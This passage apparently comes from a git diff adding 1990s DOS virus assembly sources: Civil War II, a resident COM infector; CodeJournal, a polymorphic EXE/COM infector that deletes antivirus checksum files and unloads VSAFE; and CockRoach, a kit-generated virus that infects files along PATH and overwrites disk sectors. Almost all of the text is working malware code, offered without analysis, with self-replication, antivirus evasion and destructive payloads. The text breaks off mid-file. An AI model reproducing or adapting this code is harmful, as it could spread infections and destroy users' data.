of our civil war" * +; * +;**************************************************************************** + + .Radix 16 +Civil_War Segment + Model small + Assume cs:Civil_War, ds:Civil_War, es:Civil_War + + org 100h + +len equ offset last - begin +virus_len equ len / 16d + +dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection + ; marker + +begin: Call virus ; make call to + ; push IP on stack + +virus: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + +check_resident: mov ah,0a0h ; check if virus + int 21h ; already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ; start of Memory + dec ax ; Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last + ; block + jne abort ; if not last block + ; end + mov ax,ds:[0003] ; decrease memory + sub ax,40 ; by 1kbyte lenght + mov ds:[0003],ax + sub word ptr ds:[0012],40h + +install_virus: mov bx,ax ; es point to start + mov ax,es ; virus in memory + add ax,bx + mov es,ax + mov cx,len ; cx = lenght virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ; point to start virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in + ; memory + mov [virus_segment+bp],es ; store start virus + ; in memory + mov ax,cs ; restore es + mov es,ax + +hook_vector: cli ; no interups + mov ax,3521h ; revector int 21 + int 21h + mov ds,[virus_segment+bp] + mov old_21h-6h,bx + mov old_21h+2-6h,es + + mov dx,offset main_virus - 6h + mov ax,2521h + int 21h + sti + +abort: mov ax,cs + mov ds,ax + mov es,ax + +end_virus: mov bx,0100h ; jump to begin + jmp bx ; host file + + +;***************************************************************************** + +main_virus: pushf + cmp ah,0a0h ; check virus call + jne new_21h ; no virus call + mov ax,0001h ; ax = id + popf ; return id + iret + +new_21h: push ds ; save registers + push es + push di + push si + push ax + push bx + push cx + push dx + +check_open: cmp ah,3dh + je chk_com + +check_exec: cmp ax,04b00h ; exec function? + je chk_com + +continu: pop dx ; restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + cld ; check extension + mov di,dx ; for COM + push ds + pop es + mov al,'.' ; search extension + repne scasb ; check for 'COM" + cmp word ptr es:[di],'OC' ; check 'CO' + jne continu + cmp word ptr es:[di+2],'M' ; check 'M' + jne continu + + call set_int24h + call set_atribuut + +open_file: mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h ; open file + call do_int21h + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ; read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ; if equal already + ; infect + +get_lenght: mov ax,4200h ; file pointer begin + call move_pointer + mov ax,4202h ; file pointer end + call move_pointer + sub ax,03h ; ax = filelenght + mov [lenght_file-6],ax + + call write_jmp + call write_virus + +save_date: push cs + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ; close file + call do_int21h + + mov dx,cs:[old_24h-6] ; restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continu + + + + +new_24h: mov al,3 + iret + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h-6] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[lenght_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h + call move_pointer + mov ah,40 + mov cx,len + mov dx,100 + call do_int21h + ret + +get_date: mov ax,5700h + call do_int21h + push cs + pop ds + mov [date-6],dx + mov [time-6],cx + ret + +set_int24h: mov ax,3524h + call do_int21h + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h + call do_int21h + ret + +set_atribuut: mov ax,4300h ; get atribuut + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ; set atribuut + mov ax,4301h + call do_int21h + ret + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + +old_21h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +lenght_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +Civil_war ends + end dummy + \ No newline at end of file diff --git a/c/CIVIL_II.ASM b/c/CIVIL_II.ASM new file mode 100755 index 0000000..51657b4 --- /dev/null +++ b/c/CIVIL_II.ASM @@ -0,0 +1,308 @@ +;**************************************************************************** +; Civil War II V1.1 * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Trident/Dark Helmet, The Netherlands * +; * +;**************************************************************************** +; * +; Civil War... * +; * +; "For all I've seen has change my mind * +; But still the wars go on as the years go by * +; With no love for God or human rights * +; 'Cause all these dreams are swept aside * +; By bloody hands of the hypnotized * +; Who carry the cross of homicide * +; And history bears the scars of our civil war" * +; * +;**************************************************************************** + + .Radix 16 +Civil_War Segment + Model small + Assume cs:Civil_War, ds:Civil_War, es:Civil_War + + org 100h + +len equ offset last - begin +virus_len equ len / 16d + +dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection + ; marker + +begin: Call virus ; make call to + ; push IP on stack + +virus: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + +check_resident: mov ah,0a0h ; check if virus + int 21h ; already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ; start of Memory + dec ax ; Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last + ; block + jne abort ; if not last block + ; end + mov ax,ds:[0003] ; decrease memory + sub ax,40 ; by 1kbyte lenght + mov ds:[0003],ax + sub word ptr ds:[0012],40h + +install_virus: mov bx,ax ; es point to start + mov ax,es ; virus in memory + add ax,bx + mov es,ax + mov cx,len ; cx = lenght virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ; point to start virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in + ; memory + mov [virus_segment+bp],es ; store start virus + ; in memory + mov ax,cs ; restore es + mov es,ax + +hook_vector: cli ; no interups + mov ax,3521h ; revector int 21 + int 21h + mov ds,[virus_segment+bp] + mov old_21h-6h,bx + mov old_21h+2-6h,es + + mov dx,offset main_virus - 6h + mov ax,2521h + int 21h + sti + +abort: mov ax,cs + mov ds,ax + mov es,ax + +end_virus: mov bx,0100h ; jump to begin + jmp bx ; host file + + +;***************************************************************************** + +main_virus: pushf + cmp ah,0a0h ; check virus call + jne new_21h ; no virus call + mov ax,0001h ; ax = id + popf ; return id + iret + +new_21h: push ds ; save registers + push es + push di + push si + push ax + push bx + push cx + push dx + +check_open: cmp ah,3dh + je chk_com + +check_exec: cmp ax,04b00h ; exec function? + je chk_com + +continu: pop dx ; restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + cld ; check extension + mov di,dx ; for COM + push ds + pop es + mov al,'.' ; search extension + repne scasb ; check for 'COM" + cmp word ptr es:[di],'OC' ; check 'CO' + jne continu + cmp word ptr es:[di+2],'M' ; check 'M' + jne continu + + call set_int24h + call set_atribuut + +open_file: mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h ; open file + call do_int21h + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ; read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ; if equal already + ; infect + +get_lenght: mov ax,4200h ; file pointer begin + call move_pointer + mov ax,4202h ; file pointer end + call move_pointer + sub ax,03h ; ax = filelenght + mov [lenght_file-6],ax + + call write_jmp + call write_virus + +save_date: push cs + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ; close file + call do_int21h + + mov dx,cs:[old_24h-6] ; restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continu + + + + +new_24h: mov al,3 + iret + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h-6] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[lenght_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h + call move_pointer + mov ah,40 + mov cx,len + mov dx,100 + call do_int21h + ret + +get_date: mov ax,5700h + call do_int21h + push cs + pop ds + mov [date-6],dx + mov [time-6],cx + ret + +set_int24h: mov ax,3524h + call do_int21h + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h + call do_int21h + ret + +set_atribuut: mov ax,4300h ; get atribuut + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ; set atribuut + mov ax,4301h + call do_int21h + ret + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + +old_21h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +lenght_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +Civil_war ends + end dummy + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/c/CJ.ASM b/c/CJ.ASM new file mode 100755 index 0000000..4ebb80c --- /dev/null +++ b/c/CJ.ASM @@ -0,0 +1,588 @@ +; +; +; CodeJournal virus, (c)1995 irogen [NuKE] +; +; +; Polymorphic, Resident, Parastic EXE/COM Fast Infector. This is +; another one of my fuck-Invircible viruses. It uses absolutly +; no stealth techniques, yet successfully piggybacks invircible. +; +; Anti-Invircible Code +; ---------------------- +; Completly defeats InVircible's v6.02 Anti-Piggybacking +; Avoids Bait Files +; Doesn't infect InVircible executables +; Deletes Invircible v6.02 signature files no matter what name they have +; Searches for and deletes them on set dir (21h/3Bh) call +; +; The Rest +; ---------------------- +; Polymorphism is iCE v0.5 +; Infects on: Open (3Dh), Rename (56h), Ext. Open (6Ch), Execute (4Bh) +; Doesn't infect executables ending in 'AN', 'OT', 'AV', 'NU', or 'ND'. +; Attempts to get DOS 21h vector by assuming offset is 109Eh in DOS seg. +; Deletes all signature/recovery files known to man +; TBSCAN doesn't flag COM files at all because of my patented JMP construct +; Only subtracts from total memory when DOS allocate memory (49h) is called +; ..and then the usual shit.. +; +; +; +; +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +signal equ 063ABh +buf_size equ 850 +vice_size equ 1993+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE +max_iv_size equ 256*66 ; maximum size a signature file + ; can be, speeds up search. + ; can't contain more than 256 + ; records +extrn _vice: near + +org 0h +start: + call get_bp ; get relative offset +nx: + push ds es ; save segments for EXE + + inc si ; SI!=0 + mov ax,signal + int 21h + or si,si + jz no_install + + mov dx,5945h ; remove VSAFE from memory + mov ax,3D02h + add ax,0FA01h-3D02h + int 21h + + mov cs:int_busy[bp],0 ; reset interrupt busy flag + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + mov al,'Z'+1 ; fuck heuristics + dec al + cmp byte ptr ds: [0],al ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + +no_install: + + pop es ds ; restore ES DS + xor ax,ax ; null regs + xor bx,bx + xor dx,dx + cmp cs: is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first bytes + mov cx,3 + rep movsb + + xor di,di + xor si,si + mov cx,100h ; jump back to 100h + push cx +_ret: ret + +exe_return: + xor di,di + xor si,si + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + cli + add cx,cs:orgss[bp] ; calc. real SS + mov ss,cx + mov sp,cs:orgsp[bp] ; restore SP + sti + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +get_bp: + int 3 + pop bp + push bp + sub bp,offset nx + ret + + +; resident infection function + +infect_file: + cmp ah,6ch+1 ; from extended open? + jnz not_extended + mov dx,si +not_extended: + mov di,dx + + mov al,'.' + mov cx,0FFh + repnz scasb + or cx,cx + jnz got_ext + ret +got_ext: + cmp word ptr [di],'oc' + jz is_exec + cmp word ptr [di],'OC' + jz is_exec + cmp word ptr [di],'xe' + jz is_exec + cmp word ptr [di],'XE' + jz is_exec +is_bad: + ret +is_exec: + cmp word ptr [di-3],'DN' ; *ND + jz is_bad + cmp word ptr [di-3],'NA' ; *AN + jz is_bad + cmp word ptr [di-3],'VA' ; *AV + jz is_bad + cmp word ptr [di-3],'TO' ; *OT + jz is_bad + cmp word ptr [di-3],'UN' ; *NU + jz is_bad + + push ds + xor ax,ax + mov es,ax + lds ax,es: [24h*4] + mov cs: save24ip,ax ; save 24h + mov cs: save24cs,ds + lds ax,es: [21h*4] + mov cs: save21ip,ax ; save 21h + mov cs: save21cs,ds + mov es: [24h*4+2],cs ; write new 24h + mov es: [24h*4],offset new_24 + push es + mov ah,52h ; get DOS segment + int 21h + pop ds + mov si,109Eh ; assume 109Eh + cmp es: [si],09090h ; is DOS vecor? + jnz not_dos + mov ds: [21h*4],si ; write new 21h + mov ds: [21h*4+2],es + + not_dos: + + pop ds + push cs + pop es + + mov al,0 ; get phile attribute + call attrib_file + push cx ; save CX-attrib + + mov al,1 ; null attribs + xor cx,cx + call attrib_file + + mov al,2 + call open_file + jc dont_do + + push cs + pop ds + + mov cx,1ah + lea dx,org_bytes + call read_file + + mov al,0 ; get time/date + call date_file + push cx dx + + cmp byte ptr org_bytes,'M' + jz do_exe + cmp byte ptr org_bytes,90h ; InVircible bait? + jz close + cmp byte ptr org_bytes,0E9h ; us? / invircible bait? + jz close + + mov is_exe,0 + + call offset_end + cmp ax,0FFFFh-virus_size ; file too big? + ja close + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00000011b ; garbage, no CS: + call _vice ; call engine! + + pop dx + call write_file + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,3 + call write_file + +close: + pop dx cx ; pop date/time + mov al,01 ; restore the mother fuckers + call date_file + +dont_do: + pop cx ; restore attrib + mov al,1 + call attrib_file + + call close_file + + xor ax,ax + mov es,ax + lds ax,dword ptr cs: save24ip ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + lds ax,dword ptr cs: save21ip + mov es: [21h*4],ax + mov es: [21h*4+2],ds + ret + +do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close ; could be iv bait if not + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close + mov ax,word ptr exe_header[0Ah] ; get minimum memory + cmp word ptr exe_header[0Ch],ax ; if max mem=min mem then ok + jz exe_ok + cmp byte ptr exe_header[0Ch],0FFh ; max memory FFFFh? + jnz close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header[0eh] ; get old SS:SP + mov word ptr orgss,ax ; not reversed + mov word ptr orgsp,es + + les ax,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, ax + mov word ptr exe_jump+2, es + + push cs + pop es + + call offset_end + + mov cx,10h ; divide by 16 + div cx + sub ax, word ptr exe_header[8] ; subtract header size + + mov word ptr exe_header[14h],dx ; new cs:ip + mov word ptr exe_header[16h],ax + + inc ax + mov word ptr exe_header[0eh],ax ; new SS + mov word ptr exe_header[10h],0F000h ; new SP + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor & code + mov cx,virus_size ; CX=virus size + mov al,00000010b ; garbage, use CS: + call _vice ; call engine! + + pop bx ; pop handle + mov dx,virus_size + call write_file ; append virus + call offset_end ; get adjusted file size + + mov cx,512 ; divide by 512 + div cx + inc ax ; add a page + + mov word ptr exe_header+4,ax ; save new size + mov word ptr exe_header+2,dx + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + call write_file + + jmp close + +offset_zero: + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +open_file: + mov ah,3dh + int 21h + xchg ax,bx + ret + +close_file: + mov ah,3eh + int 21h + ret + +read_file: + mov ah,3fh + int 21h + ret + +write_file: + mov ah,40h + int 21h + ret + +attrib_file: + mov ah,43h + int 21h + ret + +date_file: + mov ah,56h + int 21h + ret + +new21: + pushf + cmp ax,signal ; be it us? + jnz nchk ; richtig.. + xor si,si + popf + iret +nchk: + cmp cs:int_busy,1 ; are we already in int? + jz jmp_no_stack + mov cs:int_busy,1 ; now we are + + inc ah ; fuck heuristics + cmp cs: fix_mem,1 ; need to fix memory? + jz add_mem + cmp ah,48h+1 ; allocate memory? + jz sub_mem + cmp ah,3Bh+1 ; set dir? + jz kill_anti_virus + cmp ah,4bh+1 ; execute phile? + jz go_infect + cmp ah,3dh+1 ; open phile? + jz go_infect + cmp ah,6ch+1 ; extended open? + jz go_infect + cmp ah,56h+1 ; rename/move phile? + jnz jmp_org + +go_infect: + call push_regs + call infect_file + call pop_regs +jmp_org: + dec cs:int_busy ; not busy anymore + dec ah ; restore function + +jmp_no_stack: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + +si_jmp_org: + pop si + jmp jmp_org + + +add_mem: + mov cs: fix_mem,0 + push ax ds + xor ax,ax + mov ds,ax + add byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;+totalmem + pop ds ax + jmp jmp_org +sub_mem: + mov cs: fix_mem,1 + push ax ds + xor ax,ax + mov ds,ax + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem + pop ds ax + jmp jmp_org + +kill_anti_virus: + call push_regs + push cs + pop ds + mov ah,2fh ; get DTA + int 21h + push bx es ; save DTA + push cs + pop es + lea dx,ff_info + call set_dta + mov cx,16h ; include all attribs + lea dx,inv_spec + mov ah,4eh + int 21h ; findfirst + jnc inv_loop + jmp inv_done +inv_loop: + lea si,f_name + push si + mov dx,si + cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT? + jz is_anti + cmp word ptr [si+8],'SM' ; CHKLIST.MS? + jz is_anti + cmp word ptr [si+8],'PC' ; CHKLIST.CPS? + jz is_anti + cmp f_sizeh,0 ; high word set? + jnz findnext + cmp f_sizel,max_iv_size ; too big? + jg findnext + mov al,0 + call open_file + jc findnext + mov byte ptr inv_buf,0 + mov cx,44h + lea dx,inv_buf + call read_file + cmp ax,44h + jz record_s + mov ax,word ptr inv_buf + mov word ptr inv_buf[42h],ax +record_s: + call close_file + lea si,inv_buf + call chk_iv ; check first record + jnz findnext + lea si,inv_buf[42h] + call chk_iv ; check second record + jnz findnext +is_anti: + mov al,1 ; reset attribs + xor cx,cx + call attrib_file + mov ah,41h + lea dx,f_name + int 21h +findnext: + mov al,0 ; null out filename + pop di ; di-> fname + mov cl,13 + rep stosb + mov ah,4fh + int 21h + jc inv_done + jmp inv_loop +inv_done: + pop ds dx ; restore DTA + call set_dta +no_kill: + call pop_regs + jmp jmp_org + +set_dta: + mov ah,1ah + int 21h + ret + +chk_iv: + cmp word ptr [si],'ZM' + jz yea_iv + cmp word ptr [si],'KP' + jz yea_iv + cmp word ptr [si],0EA60h +yea_iv: + ret + +push_regs: + mov cs:_bp,bp + pop bp + push ax bx cx di dx si ds es + push bp + ret + +pop_regs: + pop bp + pop es ds si dx di cx bx ax + push bp + mov bp,cs:_bp + ret + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +inv_spec db '*.*',0 +credits db 'CodeJournal by irogen [NuKE]' +orgss dw 0 ; original SS:SP in exe +orgsp dw 0 ; +fix_mem db 0 +new_jmp db 0E9h,0,0 ; jmp XXXX +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h, 6 dup (0) ; original COM bytes | exe hdr +vend: + db 13h dup(0) ; remaining exe header space +save21ip dw 0 ; infected int21h vector +save21cs dw 0 +save24ip dw 0 ; old int24h vector +save24cs dw 0 +_bp dw 0 +int_busy db 0 +ff_info db 26 dup(0) +f_sizel dw 0 +f_sizeh dw 0 +f_name db 13 dup(0) +inv_buf db 44h dup (0) +cseg ends + end start + diff --git a/c/COCROACH.ASM b/c/COCROACH.ASM new file mode 100755 index 0000000..bb704d1 --- /dev/null +++ b/c/COCROACH.ASM @@ -0,0 +1,336 @@ +; COCROACH.ASM -- CockRoach Virus 1.0 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Anonymous Caller + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: cmp dx,0 + xchg dx,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0007h ; Do 7 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + + mov ax,0002h ; First argument is 2 + mov cx,0096h ; Second argument is 150 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 036h,0D6h,0D4h,0E6h,029h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 010h,08Eh,0B5h,016h,002h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0FDh,052h,0B3h,06Ah,08Ch + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the 